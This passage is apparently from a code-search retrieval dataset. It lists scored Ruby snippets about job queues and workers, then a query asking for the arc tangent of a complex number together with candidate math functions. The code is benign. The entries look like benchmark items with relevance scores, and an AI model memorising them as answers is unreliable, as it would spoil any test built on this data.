"docid": "04dc512a957ae4a77dc5af4370ecc8bf",
"score": "0.6111375",
"text": "def worker_info\n t_connections = middle_man.backend_connections\n result = t_connections.map { |conn| conn.worker_info(compact(:worker => worker_name,:worker_key => worker_key)) }\n return_result(result)\n end",
"title": ""
},
{
"docid": "10bbf84a9e50c9f5484b472a2e383e99",
"score": "0.61046976",
"text": "def retry_queue_naming\n @retry_queue_naming ||= Hightops::Naming::RetryQueue.new(worker_class: @worker_class)\n end",
"title": ""
},
{
"docid": "d01592b3679e0a0e761be33e3abd21c3",
"score": "0.60952145",
"text": "def get_queue_name(target,type)\n MQ_CONFIG[target][type]\n end",
"title": ""
},
{
"docid": "5f156c43db3621e9935d17c60d851dd3",
"score": "0.60810155",
"text": "def jobs\n Queues.jobs_by_worker[to_s]\n end",
"title": ""
},
{
"docid": "32c81297af2efa15b472fcd2326c8f2d",
"score": "0.6078714",
"text": "def job_enqueued_key\n self.class.job_enqueued_key @name\n end",
"title": ""
},
{
"docid": "2aed41774b5fc22df8c7d5ca65350b4b",
"score": "0.60652757",
"text": "def queue_name\r\n raise 'must be implemented in subclasses'\r\n end",
"title": ""
},
{
"docid": "d68bc0a0dac14b3dc1dd08a160af5dd3",
"score": "0.60579157",
"text": "def queue_names_routing_class(clazz)\n self.select { |x, y| y.is_a?(clazz) }.map { |x, y| x }\n end",
"title": ""
},
{
"docid": "c91c00398e8a4536353d7a85b830a6c0",
"score": "0.60536575",
"text": "def to_h\n {\n worker: self.class.to_s,\n job_id: job_id,\n job_args: job_args,\n job_meta: job_meta.to_h,\n job_retries: job_retries,\n job_queue: job_queue,\n task_id: task_id\n }\n end",
"title": ""
},
{
"docid": "a545812f9b5793c8856bdd086b5cc43b",
"score": "0.60526204",
"text": "def queue_registry(queue_name)\n fqn = sqs_sns_converted_full_name(queue_name)\n @queue_registry ||= {}\n @queue_registry[fqn] ||= begin\n result = sqs_client.get_queue_url(queue_name: fqn)\n result.queue_url\n end\n rescue Aws::SQS::Errors::NonExistentQueue\n nil\n rescue StandardError => e\n raise Mimi::Messaging::ConnectionError, \"Failed to get queue url '#{queue_name}': #{e}\"\n end",
"title": ""
},
{
"docid": "f5e76122d61f5f93397bb2e5c6548dff",
"score": "0.6036898",
"text": "def to_hash\n {\n name: @name,\n klass: @klass,\n cron: @cron,\n description: @description,\n args: @args.is_a?(String) ? @args : Sidekiq.dump_json(@args || []),\n message: @message.is_a?(String) ? @message : Sidekiq.dump_json(@message || {}),\n status: @status,\n active_job: @active_job,\n queue_name_prefix: @active_job_queue_name_prefix,\n queue_name_delimiter: @active_job_queue_name_delimiter,\n last_enqueue_time: @last_enqueue_time,\n }\n end",
"title": ""
},
{
"docid": "08a8cd07700e6ee4fd4b2ec62611e9d2",
"score": "0.60330045",
"text": "def inspect(options = {})\n if prefix = options['QueueNamePrefix']\n queues.select { |name, queue| name.start_with?(prefix) }.values.map(&:name)\n else\n queues.values.map(&:name)\n end\n end",
"title": ""
},
{
"docid": "f559bd208714f0e1ac104c28d9d569eb",
"score": "0.60229504",
"text": "def get_queue_names\n return [nil, \"queue_1\"] if self.stage_num == 0\n return [[\"queue_#{self.stage_num}\"], nil] if self.stage_num == (self.num_total_stages - 1)\n return [[\"queue_#{self.stage_num}\"], [\"queue_#{self.stage_num + 1}\"]]\n end",
"title": ""
},
{
"docid": "d5cbaebafd067e1a21f6845de6d58ef5",
"score": "0.60174257",
"text": "def job_enqueued_key(name)\n \"#{REDIS_KEY_PREFIX}:#{name}:enqueued\"\n end",
"title": ""
},
{
"docid": "609afedc1b3981701c6226af4d89b28c",
"score": "0.60093415",
"text": "def worker_type\n RRRSpec.redis.hget(key, 'worker_type')\n end",
"title": ""
},
{
"docid": "609afedc1b3981701c6226af4d89b28c",
"score": "0.60093415",
"text": "def worker_type\n RRRSpec.redis.hget(key, 'worker_type')\n end",
"title": ""
},
{
"docid": "6fcfa9569dd6259463f70f7025993508",
"score": "0.5994899",
"text": "def generate_queue_config(worker_class)\n QueueConfig.new(worker_class.name, worker_class.routing_keys,\n Proletariat.test_mode?)\n end",
"title": ""
},
{
"docid": "9632202f16383e0ad73b94118fb074e2",
"score": "0.5990972",
"text": "def queue_name\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "3578a3390b193c7cdf352bcd4adce44d",
"score": "0.598692",
"text": "def jobs_waiting\n Hash[@resque_data_store.queue_names.map { |queue_name|\n [\n queue_name,\n @resque_data_store.everything_in_queue(queue_name).map { |json|\n Resque.decode(json)\n }.map { |payload|\n Job.new(payload: payload, queue: queue_name)\n }\n ]\n }]\n end",
"title": ""
},
{
"docid": "f521ba426a1ebfd58f2f1e12c4d6d275",
"score": "0.59779173",
"text": "def queues\n hive.map {|b| b.private? ? nil : b.queue_name }.compact\n end",
"title": ""
},
{
"docid": "f123f4dd81db9f73af25c176b2328534",
"score": "0.59720844",
"text": "def keys\n queues\n end",
"title": ""
},
{
"docid": "130ff98487e21c11dbff29f31dc4b722",
"score": "0.59471154",
"text": "def workers_map(worker_ids)\n redis_keys = worker_ids.map { |id| \"worker:#{id}\" }\n @redis.mapped_mget(*redis_keys)\n end",
"title": ""
},
{
"docid": "80f31a50f50d0a48327fc836ca1eeca5",
"score": "0.59371084",
"text": "def worker_options\n return {} unless sidekiq_worker_class?\n\n worker_class.get_sidekiq_options.stringify_keys\n end",
"title": ""
},
{
"docid": "ea3787fd6ead92c45fbd3450b6102cbf",
"score": "0.59293",
"text": "def queue_name\n task_id\n end",
"title": ""
},
{
"docid": "309f0dacf82ee0d714849b1f84e7630c",
"score": "0.5916263",
"text": "def to_hash\n {\n name: @name,\n klass: @klass,\n cron: @cron,\n description: @description,\n args: @args.is_a?(String) ? @args : Sidekiq.dump_json(@args || []),\n status: @status,\n last_enqueue_time: @last_enqueue_time\n }\n end",
"title": ""
},
{
"docid": "661ef71d78f094cec4aa9b1b7bbdc799",
"score": "0.5909876",
"text": "def queues\n @worker_queues.search_order\n end",
"title": ""
},
{
"docid": "576c456d4fa06c650e337fb367ab654e",
"score": "0.5907634",
"text": "def queue_name\n @queue_name ||= if class_name == 'Robots::DorRepo::Assembly::Jp2Create'\n # Special case because this robot can eats up too much memory if more\n # than one instance is running on a worker box simultaneously\n 'assemblyWF_jp2'\n else\n \"#{step.workflow}_#{step.lane_id}\"\n end\n end",
"title": ""
},
{
"docid": "663942df152f1131a2be6eff690d8881",
"score": "0.58957213",
"text": "def job_hash(job_params)\n {:class => self.to_s, :args => job_params}\n end",
"title": ""
},
{
"docid": "160eea147fb5b131e52affe4b62635f6",
"score": "0.58919746",
"text": "def get_queue_name\n return @queue_name unless @queue_name.nil?\n queue_name = self.name.gsub(/::/, ':')\n queue_name.gsub!(/([^A-Z:])([A-Z])/) { \"#{$1}_#{$2}\" }\n queue_name.downcase\n end",
"title": ""
},
{
"docid": "1d5c79ddb86000ab34505c7a51719456",
"score": "0.588767",
"text": "def job_class_name\n self.class.to_s\n end",
"title": ""
},
{
"docid": "4be73bd6cd4cb6fd4620650c28d936f4",
"score": "0.588023",
"text": "def queue_adapter_name; end",
"title": ""
},
{
"docid": "fd677a914374295ce665e43570c659b1",
"score": "0.586755",
"text": "def jobs_hash\n hash = {}\n jobs.each_with_index { |job, idx| hash[idx.to_s] = job }\n hash\n end",
"title": ""
},
{
"docid": "78eb0d329521abd63bd506c8b9b67801",
"score": "0.586687",
"text": "def get_queue_url_by_class klass\n job_info = config[:jobs].select{ |k,v| v[:class] == klass.name}.first.last\n create_queue_url job_info[:queue_name]\n end",
"title": ""
},
{
"docid": "4b95d2b5c0205784890cbd3728caaa8a",
"score": "0.58459675",
"text": "def name\r\n @multi_queue\r\n end",
"title": ""
},
{
"docid": "21898ba3fd5d346416e2255a8bbc7392",
"score": "0.5842827",
"text": "def worker_pids\n @state.worker_pids ||= {}\n end",
"title": ""
},
{
"docid": "73037c8db12f9cb2fba3794885310712",
"score": "0.58423924",
"text": "def queues_on(host)\n queue_values(host).keys if all_hosts.include?(host)\n end",
"title": ""
},
{
"docid": "65a15c474fb188169e9d947c6b4894e2",
"score": "0.582153",
"text": "def worker_info\n\n (@context.storage.get('variables', 'workers') || {})['workers']\n end",
"title": ""
},
{
"docid": "0eb4234fb1afd56081e4e8d9fa2933e3",
"score": "0.5812602",
"text": "def get_queue(queue_name)\n queue_hash.key?(queue_name) ? queue_hash[queue_name] : create_queue(queue_name)\n end",
"title": ""
},
{
"docid": "734ed1561f327e6889f49a9522788768",
"score": "0.58089316",
"text": "def get_job_info_by_queue queue\n full_queue_name = queue.url.split('/').last\n # full_queue_name is something like queue_name_ENV\n queue_name = /.*_(.*)$/.match(full_queue_name)[1]\n config[:jobs].select{ |k,v| v[:queue_name] == queue_name }.first.last\n end",
"title": ""
},
{
"docid": "47ead3583f407c3b0a71476d282d7841",
"score": "0.57908446",
"text": "def queue_name\n QueueNames::DEFAULT\n end",
"title": ""
},
{
"docid": "3fe63136289aa8534af7a86dfded5f7f",
"score": "0.57904434",
"text": "def queue_name\n match_data = (token_hash['queue']||'').match(/^((?!(aws|amazon|\\.))[a-z,0-9,_,\\-,\\.]{1,256})$/i)\n match_data[0] if match_data\n end",
"title": ""
},
{
"docid": "ef271f96ef379a6e7531ff97afc0a5be",
"score": "0.5783531",
"text": "def to_hash\n {\n :type => \"job_definition\",\n :file_queue_name => @file_queue_name,\n :reply_exchange_name => @reply_exchange_name,\n :sync => @sync,\n :callbacks => @callbacks\n }\n end",
"title": ""
},
{
"docid": "b6e09addce4d1d06669550bb8628db13",
"score": "0.578051",
"text": "def worker_names\n return [] unless running?\n\n case sub_state\n when :before, :after\n worker_name\n when :processing\n input.running.collect { |slice| slice.worker_name }\n else\n []\n end\n end",
"title": ""
},
{
"docid": "2e124e423c8eba03867f34227524840f",
"score": "0.5777225",
"text": "def to_hash\n {:type => \"job_definition\", :file_queue_name => @file_queue_name, :reply_exchange_name => @reply_exchange_name, :source_tree_path => @source_tree_path, :sync_exclude => @sync_exclude, :callbacks => @callbacks}\n end",
"title": ""
},
{
"docid": "2842d003417f50c92563e520bee2019c",
"score": "0.5777136",
"text": "def redis_key\n \"#{@job.redis_key}:#{@type}:#{@name}\"\n end",
"title": ""
},
{
"docid": "a1e636671b13a1fade477f30f864fb75",
"score": "0.5771763",
"text": "def settings_queue(q_name)\n result = nil\n #pp @groups\n @groups.each do |name, items|\n result = items if items['queue'] == q_name\n end\n result\n end",
"title": ""
},
{
"docid": "786c1bd045cbc48beb3ac17b5cbab3bc",
"score": "0.57663685",
"text": "def queue_name_for_ems(ems)\n end",
"title": ""
},
{
"docid": "fd1c0dbbd06cec50fd4152709020171a",
"score": "0.5765971",
"text": "def publisher_by(queue)\n pub_key_parts = queue.split('.')\n pub_const = pub_key_parts.map(&:upcase).join('_')\n pub_const.constantize\n end",
"title": ""
},
{
"docid": "42c438e141de24e2f32d46fce0cc344e",
"score": "0.57492507",
"text": "def worker_class_constantize(worker_class)\n return worker_class unless worker_class.is_a?(String)\n worker_class.constantize\n rescue NameError\n worker_class\n end",
"title": ""
},
{
"docid": "6331f2bcafd8acb6c0ce276c2677e1cd",
"score": "0.5740275",
"text": "def to_hash\n {\n :type => \"job_definition\",\n :file_queue_name => @file_queue_name,\n :reply_exchange_name => @reply_exchange_name,\n :sync => @sync,\n :callbacks => @callbacks\n }\n end",
"title": ""
},
{
"docid": "b6dfe7316db2dd48153a45ff222e268d",
"score": "0.57376033",
"text": "def queues\n @queues.map { |name| name.gsub(/^remq\\:/, '') }\n end",
"title": ""
},
{
"docid": "14c9181ebd8aad4ec893d698093c0128",
"score": "0.5737158",
"text": "def queue_sizes\n queue_names = queues\n\n sizes = redis.pipelined do |piped|\n queue_names.each do |name|\n piped.llen(\"queue:#{name}\")\n end\n end\n\n Hash[queue_names.zip(sizes)]\n end",
"title": ""
},
{
"docid": "07937ffa38ade1775a95ccbafa63b23c",
"score": "0.5736226",
"text": "def info\n return {\n :pending => queue_sizes.inject(0) { |sum, (_queue_name, queue_size)| sum + queue_size },\n :processed => Stat[:processed],\n :queues => queues.size,\n :workers => workers.size.to_i,\n :working => working.size,\n :failed => data_store.num_failed,\n :servers => [redis_id],\n :environment => ENV['RAILS_ENV'] || ENV['RACK_ENV'] || 'development'\n }\n end",
"title": ""
}
] |
48c7100a899e8d91c325c15d133454e7
|
returns the arc tangent of +z+
|
[
{
"docid": "1446888c9505a3080c9d0041f62a694d",
"score": "0.67696047",
"text": "def atan(z)\n begin\n if z.real?\n\tatan!(z)\n else\n\t1.0.i * log((1.0.i + z) / (1.0.i - z)) / 2.0\n end\n rescue NoMethodError\n handle_no_method_error\n end\n end",
"title": ""
}
] |
[
{
"docid": "f529412e30110405c03537c117fad600",
"score": "0.67514014",
"text": "def z\r\n s_radius*Math.cos(phi);\r\n end",
"title": ""
},
{
"docid": "d160b5e5e8ed6217023e6cbcf9cc05d6",
"score": "0.6699533",
"text": "def tan(z)\n begin\n if z.real?\n\ttan!(z)\n else\n\tsin(z) / cos(z)\n end\n rescue NoMethodError\n handle_no_method_error\n end\n end",
"title": ""
},
{
"docid": "8b26a858595d092c4110ef021eb6393e",
"score": "0.6539056",
"text": "def atanh(z)\n begin\n if z.real? and z >= -1 and z <= 1\n\tatanh!(z)\n else\n\tlog((1.0 + z) / (1.0 - z)) / 2.0\n end\n rescue NoMethodError\n handle_no_method_error\n end\n end",
"title": ""
},
{
"docid": "27fa34fec774d1b333ac68827033963b",
"score": "0.6483143",
"text": "def acos(z)\n begin\n if z.real? and z >= -1 and z <= 1\n\tacos!(z)\n else\n\t(-1.0).i * log(z + 1.0.i * sqrt(1.0 - z * z))\n end\n rescue NoMethodError\n handle_no_method_error\n end\n end",
"title": ""
},
{
"docid": "d3d5e8eeb91a344ab93f98562f30d5cb",
"score": "0.6234745",
"text": "def tanh(z)\n begin\n if z.real?\n\ttanh!(z)\n else\n\tsinh(z) / cosh(z)\n end\n rescue NoMethodError\n handle_no_method_error\n end\n end",
"title": ""
},
{
"docid": "41733e2feba5464addf6b52037e2d44c",
"score": "0.59461445",
"text": "def arctan(x)\r\n\tMath.atan(x).to_f.indeg\r\nend",
"title": ""
},
{
"docid": "c6d555a85b2fce713ea8f6fed930d734",
"score": "0.58865887",
"text": "def phi\r\n m = s_radius\r\n (m == 0)? 0 : Math.acos(z/m)\r\n end",
"title": ""
},
{
"docid": "1c2a876ba4a976e23d7cc33b988decd4",
"score": "0.5833862",
"text": "def tangent\n m1 = angular_coefficient(point_n, point_a)\n m2 = angular_coefficient(point_po, point_or)\n ((m1 - m2) / (1 + (m1 * m2))).abs\n end",
"title": ""
},
{
"docid": "bdd9a8e98a61f4b18cb72e1471c9f730",
"score": "0.5785441",
"text": "def cos(z)\n begin\n if z.real?\n\tcos!(z)\n else\n\tComplex(cos!(z.real) * cosh!(z.imag),\n\t\t-sin!(z.real) * sinh!(z.imag))\n end\n rescue NoMethodError\n handle_no_method_error\n end\n end",
"title": ""
},
{
"docid": "d8ea8a0ae7aef9d97c9a1bc688fab52d",
"score": "0.5673154",
"text": "def bezier(t, a, b, c, d)\n a + (a*(-3) + b*3)*(t) + (a*3 - b*6 + c*3)*(t**2) + (-a + b*3 - c*3 + d)*(t**3)\n end",
"title": ""
},
{
"docid": "5d7e362565f88616723810859bafd044",
"score": "0.56617403",
"text": "def z\n require 'degrees'\n Math.sin(latitude.degrees)\n end",
"title": ""
},
{
"docid": "77c22d0d87041570a4cc77abf1022e90",
"score": "0.5652449",
"text": "def tangent_degrees(theta)\n Math.tan(theta.to_radians)\n end",
"title": ""
},
{
"docid": "2b2de0cf2d8f462418742e533f03c04e",
"score": "0.5648295",
"text": "def y(x); Math.tan(Math.atan(x) + Math.atan(2)); end",
"title": ""
},
{
"docid": "11a157961daf4c2a9186083bc921db29",
"score": "0.5645255",
"text": "def cosh(z)\n begin\n if z.real?\n\tcosh!(z)\n else\n\tComplex(cosh!(z.real) * cos!(z.imag),\n\t\tsinh!(z.real) * sin!(z.imag))\n end\n rescue NoMethodError\n handle_no_method_error\n end\n end",
"title": ""
},
{
"docid": "97fa347fbc7c0e10034e84da432ac333",
"score": "0.5585669",
"text": "def acosh(z)\n begin\n if z.real? and z >= 1\n\tacosh!(z)\n else\n\tlog(z + sqrt(z * z - 1.0))\n end\n rescue NoMethodError\n handle_no_method_error\n end\n end",
"title": ""
},
{
"docid": "285966c4d8385c0d8171e7687fb75b97",
"score": "0.55115074",
"text": "def arccot(x, unity)\n xpow = unity / x\n n = 1\n sign = 1\n sum = 0\n loop do\n term = xpow / n\n break if term == 0\n sum += sign * (xpow/n)\n xpow /= x*x\n n += 2\n sign = -sign\n end\n sum\n end",
"title": ""
},
{
"docid": "f59084ee7cea342f925103a138e1dbcc",
"score": "0.5506884",
"text": "def ac_radian\n ang12 = Math.atan2(@p2.curr.y - @p1.curr.y, @p2.curr.x - @p1.curr.x)\n ang23 = Math.atan2(@p3.curr.y - @p2.curr.y, @p3.curr.x - @p2.curr.x)\n ang12 - ang23\n end",
"title": ""
},
{
"docid": "f276af957bd891245f4ccbbef96a9006",
"score": "0.54529476",
"text": "def arctan_degrees(y, x)\n if (x == 0) && (y != 0)\n return signum(y) * (mpf(90).degrees % 360)\n else\n alpha = Math.atan(y.to_f / x.to_f).to_degrees\n return x >= 0 ? alpha : alpha + (mpf(180).degrees % 360)\n end\n end",
"title": ""
},
{
"docid": "5ced42182e38c83c1c51a7b17dff3ade",
"score": "0.5451802",
"text": "def cdf(z)\n return 0.0 if z < -12 \n return 1.0 if z > 12\n return 0.5 if z == 0.0 \n\n if z > 0.0\n e = true\n else\n e = false\n z = -z\n end\n z = z.to_f\n z2 = z * z\n t = q = z * Math.exp(-0.5 * z2) / SQ2PI\n\n 3.step(199, 2) do |i|\n prev = q\n t *= z2 / i\n q += t\n if q <= prev\n return(e ? 0.5 + q : 0.5 - q)\n end\n end\n e ? 1.0 : 0.0\n end",
"title": ""
},
{
"docid": "e8edf450049feb78be51a7b087037555",
"score": "0.54219437",
"text": "def cbrt(z)\n z ** (1.0/3)\n end",
"title": ""
},
{
"docid": "de5585f649ca2f6d07ebee731aa595e4",
"score": "0.5400708",
"text": "def calculate\n (central_angle * EARTH_RADIUS).round(1)\n end",
"title": ""
},
{
"docid": "b32381bbb0f2dfdb4cc796ceb98571d9",
"score": "0.5390314",
"text": "def rotate_z_axis_by degree\n rot = Matrix4f.new(nil, nil, nil, nil).make_identity\n pi = Math::PI\n angle = (degree.to_f * pi) / 180.0\n rot.set_at(1, 1, Math::cos(angle))\n rot.set_at(2, 2, Math::cos(angle))\n rot.set_at(1, 2, Math::sin(-angle))\n rot.set_at(2, 1, Math::sin(angle))\n rot\n end",
"title": ""
},
{
"docid": "3911b23ff07a73f562ddd62fe27f25b5",
"score": "0.53613245",
"text": "def tangent( abscissa, container=nil )\n angle = Range::Angle.sample( abscissa ) + @initangle\n container ||=V2D[]\n container.x = -self.radius * Math.sin( angle )\n container.y = self.radius * Math.cos( angle )\n return container\n end",
"title": ""
},
{
"docid": "989e83b36ba72e9554e0f5a90f55d9d0",
"score": "0.5325146",
"text": "def z_rotate! angle\r\n x = self[:x] * Math.cos(angle) - self[:y] * Math.sin(angle)\r\n y = self[:x] * Math.sin(angle) + self[:y] * Math.cos(angle)\r\n self.set!(x, y, self[:z])\r\n\r\n end",
"title": ""
},
{
"docid": "fa406663058c6492c8118c9cadf4c41d",
"score": "0.53227854",
"text": "def calculate_theta\n result = Array.new(z_ary.length, Float::INFINITY)\n # puts \"Jb = {#{plan.basis_indexes.join(',')}}\"\n z_ary.each_with_index do |item, idx|\n # puts \"theta[#{idx}] = x[j#{idx}] / z[#{idx}] = x[#{plan.basis_indexes[idx]}] / #{item} = #{plan.get(plan.basis_indexes[idx])} / #{item}\"\n result[idx] = plan.get(plan.basis_indexes[idx]) / item if item.pos?\n end\n # puts \"theta result = #{result}\"\n result\n end",
"title": ""
},
{
"docid": "55070337c7dac4424ae001e629315ac4",
"score": "0.5322448",
"text": "def create_arc(x,y,z,radius,start_angle, end_angle, degrees_or_radians, normal=nil)\n \tbegin\n \t\tnormal ||= Ag::Vector3d.ZAxis\n \t\tstart_angle, end_angle = start_angle.to_radians, end_angle.to_radians if degrees_or_radians == :D\n \tarc = Ads::Arc.new(Ag::Point3d.new(x, y, z), normal, radius, start_angle, end_angle)\n rescue Exception => e\n puts_ex e\n end\t\n arc\n end",
"title": ""
},
{
"docid": "86420f4cb0744df86dad7e0854c25879",
"score": "0.53216964",
"text": "def tan\n math :tan\n end",
"title": ""
},
{
"docid": "86420f4cb0744df86dad7e0854c25879",
"score": "0.53216964",
"text": "def tan\n math :tan\n end",
"title": ""
},
{
"docid": "91ce8729a1cc15e3cef3cd801fb826f1",
"score": "0.52971137",
"text": "def asin(z)\n begin\n if z.real? and z >= -1 and z <= 1\n\tasin!(z)\n else\n\t(-1.0).i * log(1.0.i * z + sqrt(1.0 - z * z))\n end\n rescue NoMethodError\n handle_no_method_error\n end\n end",
"title": ""
},
{
"docid": "15ce7bccaa542cf3ffd53035c5a68136",
"score": "0.5286714",
"text": "def dtanh(y)\n\t # 1 - y*y\n\t return 1.0 - Numo::NMath.tanh(y)**2\n\tend",
"title": ""
},
{
"docid": "652e816740be7c4e49f3687024e40aeb",
"score": "0.52793",
"text": "def arccos_degrees(x)\n degrees(Math.acos(x).to_degrees)\n end",
"title": ""
},
{
"docid": "2b9672bb6beb899532064c6ffe6c5fa3",
"score": "0.52783585",
"text": "def get_azi a, b\n # find the distance between the two points.\n hyp = dist_form a, b\n\n adj = (b[1] - a[1])\n\n #which hemisphere?\n if (b[0] - a[0]) >= 0\n d = 0\n else\n adj = -adj\n d = 180\n end\n\n # cos^-1 (adj/hyp) * 180/PI \n r = Math::acos(adj/hyp) # answer in radians\n d = r * 180 / Math::PI + d\nend",
"title": ""
},
{
"docid": "fdf7f16b8fe306697b593a08c5b18b9b",
"score": "0.52644295",
"text": "def acos(x, prec)\n # Handle angle with no tangent.\n return PI / 2 if x == 0\n\n # Tangent of angle is y / x, where x^2 + y^2 = 1.\n a = atan(sqrt(1 - x * x, prec) / x, prec)\n if a < 0\n a + PI(prec)\n else\n a\n end\nend",
"title": ""
},
{
"docid": "1c63388dc9285c0bc2651a6dff6f5171",
"score": "0.52634484",
"text": "def atan\n math :atan\n end",
"title": ""
},
{
"docid": "1c63388dc9285c0bc2651a6dff6f5171",
"score": "0.52634484",
"text": "def atan\n math :atan\n end",
"title": ""
},
{
"docid": "e3ce7883c9529925f7b9ae747d601f70",
"score": "0.525669",
"text": "def tan(x, prec)\n sin(x, prec) / cos(x, prec)\nend",
"title": ""
},
{
"docid": "2ef9603bea0853ef9bd8dc9840051207",
"score": "0.5246516",
"text": "def probability_z\n (1-Distribution::Normal.cdf(z.abs()))*2\n end",
"title": ""
},
{
"docid": "56f3daa40ec9dbe338c9a5d6ec039b38",
"score": "0.52461445",
"text": "def atan\n apply_lambda_flat(->(x){Math.atan(x)})\n end",
"title": ""
},
{
"docid": "4a2c594ed11bda3abe2d7948dda18886",
"score": "0.52455974",
"text": "def angle\n r = self.r()\n if r == 0.0\n return 0.0\n else\n unitary = self/r\n cos, sin = unitary.x, unitary.y\n angle = Math.acos( cos )\n if sin < 0.0\n\tangle = -angle\n end\n return angle\n end\n end",
"title": ""
},
{
"docid": "585aaa8abbfc62e25d8ce2899f45fe8c",
"score": "0.52295244",
"text": "def h(z)\r\n\tif z % 2 == 0 then\r\n\t\treturn z/2\r\n\telse\r\n\t\treturn -1*(z - 1)/2\r\n\tend\r\nend",
"title": ""
},
{
"docid": "aaf09fa4f48bebaeda6c01639608a07b",
"score": "0.5220984",
"text": "def distance_to_point(x, y, z)\n a*x + b*y + c*z - d\n end",
"title": ""
},
{
"docid": "91789a1319aa4cb9931aafdbe44131a7",
"score": "0.52089894",
"text": "def c(f)\r\n (dz(Psi)*f/R - dz(Psi)*dr(f) + dr(Psi)*dz(f))/R\r\nend",
"title": ""
},
{
"docid": "d68e008808369230948cced0c0e00341",
"score": "0.5207439",
"text": "def screen_z_formula\n return real_ypos + additional_z rescue 0\n # Real Y position (without jumping) + Additional Z value\n end",
"title": ""
},
{
"docid": "d68e008808369230948cced0c0e00341",
"score": "0.5207439",
"text": "def screen_z_formula\n return real_ypos + additional_z rescue 0\n # Real Y position (without jumping) + Additional Z value\n end",
"title": ""
},
{
"docid": "6d14654f32ef189381964f04ffd8b4b9",
"score": "0.5190639",
"text": "def tanh(x)\n\t Numo::NMath.tanh(x)\n\tend",
"title": ""
},
{
"docid": "c36c8068244369b4eaac8bff92f5b8a6",
"score": "0.5154703",
"text": "def acos(x)\n deg(Math.acos(x))\n end",
"title": ""
},
{
"docid": "ae67e052aff35cd0bf94970010128f02",
"score": "0.51483834",
"text": "def angle_with vector\r\n cos_angle =[1, [(self.dot vector) / (self.mag * vector.mag), -1].max].min\r\n\r\n # sign of angle ?\r\n sign = (self.cross vector).z <=> 0.0\r\n sign = 1 if sign == 0\r\n\r\n Math.acos(cos_angle) * sign\r\n end",
"title": ""
},
{
"docid": "ab26750681c99962359fe8b3873622e2",
"score": "0.51370233",
"text": "def radian_calcs(l_hash)\n cosify_hash(l_hash)\n cos_sinify(l_hash)\n sinify(l_hash)\n total_locations = l_hash[:lat].count #3 cities\n x = (cosify_hash(l_hash)/total_locations)\n y = (cos_sinify(l_hash)/total_locations)\n z = (sinify(l_hash)/total_locations)\n hyp = sqrt((x*x)+(y*y))\n [x, y, z, hyp]\n end",
"title": ""
},
{
"docid": "50f8c4412916dd55ce294fa96514ff4c",
"score": "0.51293117",
"text": "def angle(vector)\n # length of the z-component of the cross-product\n cross_z = x * vector.y - y * vector.x\n\n # dot product, ignoring the z component\n dot_xy = x * vector.x + y * vector.y\n\n angle = ::Math.atan2(cross_z, dot_xy)\n angle += 2 * ::Math::PI if angle < 0\n\n return angle\n end",
"title": ""
},
{
"docid": "8fbd93ee4a37b52ac1f779febf7dfe46",
"score": "0.5127575",
"text": "def hour_angle(lat, declination) # H -or- ω omega as degrees\n acos( (sin(-0.83) - sin(lat) * sin(declination)) / (cos(lat) * cos(declination)) )\n end",
"title": ""
},
{
"docid": "0ac6c8ec9dd03521f3dd421cc21fd730",
"score": "0.51148474",
"text": "def triangle(x,y,z)\n angles = [x, y, z].sort \n return :invalid unless angles.all?{ |e| e.is_a?(Numeric) && e > 0 }\n return :invalid if angles.sum != 180\n if angles.any?{ |angle| angle == 90 }\n :right\n elsif angles.any?{|angle| angle >= 90}\n :obtuse\n else\n :acute\n end \nend",
"title": ""
},
{
"docid": "477f36c108296500e3a3e311a9130be1",
"score": "0.511287",
"text": "def rotation( abscissa, tangent=nil )\n if not tangent\n tangent = self.tangent( abscissa )\n end\n return (tangent.angle - self.tangent0_angle)\n end",
"title": ""
},
{
"docid": "04ed4892328f85c1a1de2ca542cc1f38",
"score": "0.50957704",
"text": "def central_angle\n arctan(\n sqrt(\n (cos(lat2) * sin(delta))**2 +\n (cos(lat1) * sin(lat2) - sin(lat1) * cos(lat2) * cos(delta))**2\n ) / (\n sin(lat1) * sin(lat2) + cos(lat1) * cos(lat2) * cos(delta)\n )\n )\n end",
"title": ""
},
{
"docid": "4b9153782820ce833efa0d220877cfe3",
"score": "0.5089808",
"text": "def tangent\n\t\t@tangent or @tangent = self.class.new(-@y, @x)\n\tend",
"title": ""
},
{
"docid": "0c6b4259903e7c1d3f708a73f5e66341",
"score": "0.5058415",
"text": "def angle(a)\n acos(dot(a))\n end",
"title": ""
},
{
"docid": "540bd1b5cfd49f82472958f078c35e40",
"score": "0.50565296",
"text": "def distance(x = 0, y = nil, z = nil)\n\t if !y && x.respond_to?(:x)\n\t\tx, y, z = x.x, x.y, x.z\n\t else\n\t\ty ||= 0\n\t\tz ||= 0\n\t end\n\n\t Math.sqrt( (x - self.x) ** 2 + (y - self.y) ** 2 + (z - self.z) ** 2)\n\tend",
"title": ""
},
{
"docid": "08cb65d5cd4f3dced38a9d0495edfc4d",
"score": "0.505567",
"text": "def arg\n\t\tr_cos = real\n\t\tr_sin = imag.norm\n\t\tMath.atan2(r_sin, r_cos)\n\tend",
"title": ""
},
{
"docid": "e583fe34f92581d99aa0cacd52a934aa",
"score": "0.5052757",
"text": "def tangent0_angle\n @tangent0_angle ||= self.tangent0.angle\n end",
"title": ""
},
{
"docid": "5dedf5a66913d6bb135019553c4f0c3f",
"score": "0.50481826",
"text": "def cartesian_to_polar!\n # Note that this is 90-usual theta\n x = @x\n y = @y\n z = @z\n rho = (x * x) + (y * y)\n @x = sqrt(rho + (z * z))\n @z = atn2(y, x)\n @z += 360 if @z < 0 \n @y = atn2(z, sqrt(rho))\n end",
"title": ""
},
{
"docid": "246ffed08b43de368f9acabc71f5ca7a",
"score": "0.50454813",
"text": "def atn2(y, x)\n if Math::atan(y) == 0 && Math::atan(x) < 0 \n return Math::atan(y/x) - Math::PI\n #~ elsif y == 0 && x > 0\n #~ return y\n #~ elsif y < 0 && x != 0\n #~ return Math::atan(y/x)\n #~ elsif y < 0 && x == 0\n #~ return Math::PI / -2\n #~ elsif y < 0 && x > 0\n #~ return y \n #~ elsif y >=0 && x < 0\n #~ return Math::atan(y/x) + Math::PI \n #~ elsif y < 0 && x < 0\n #~ return Math::atan(y/x) - Math::PI\n #~ elsif y > 0 && x == 0\n #~ return Math::PI / 2\n #~ elsif y > 0 && x == 0\n #~ return y\n #~ elsif y < 0 && x > 0\n #~ return y\n end\nend",
"title": ""
},
{
"docid": "03f78bc2cf0d610a6d18bf383c1eede5",
"score": "0.5026048",
"text": "def CGPointToAngle(point)\n\tMath::atan2(point.y, point.x)\nend",
"title": ""
},
{
"docid": "d4ce0a6280449f62d1fdf82749cb610b",
"score": "0.501412",
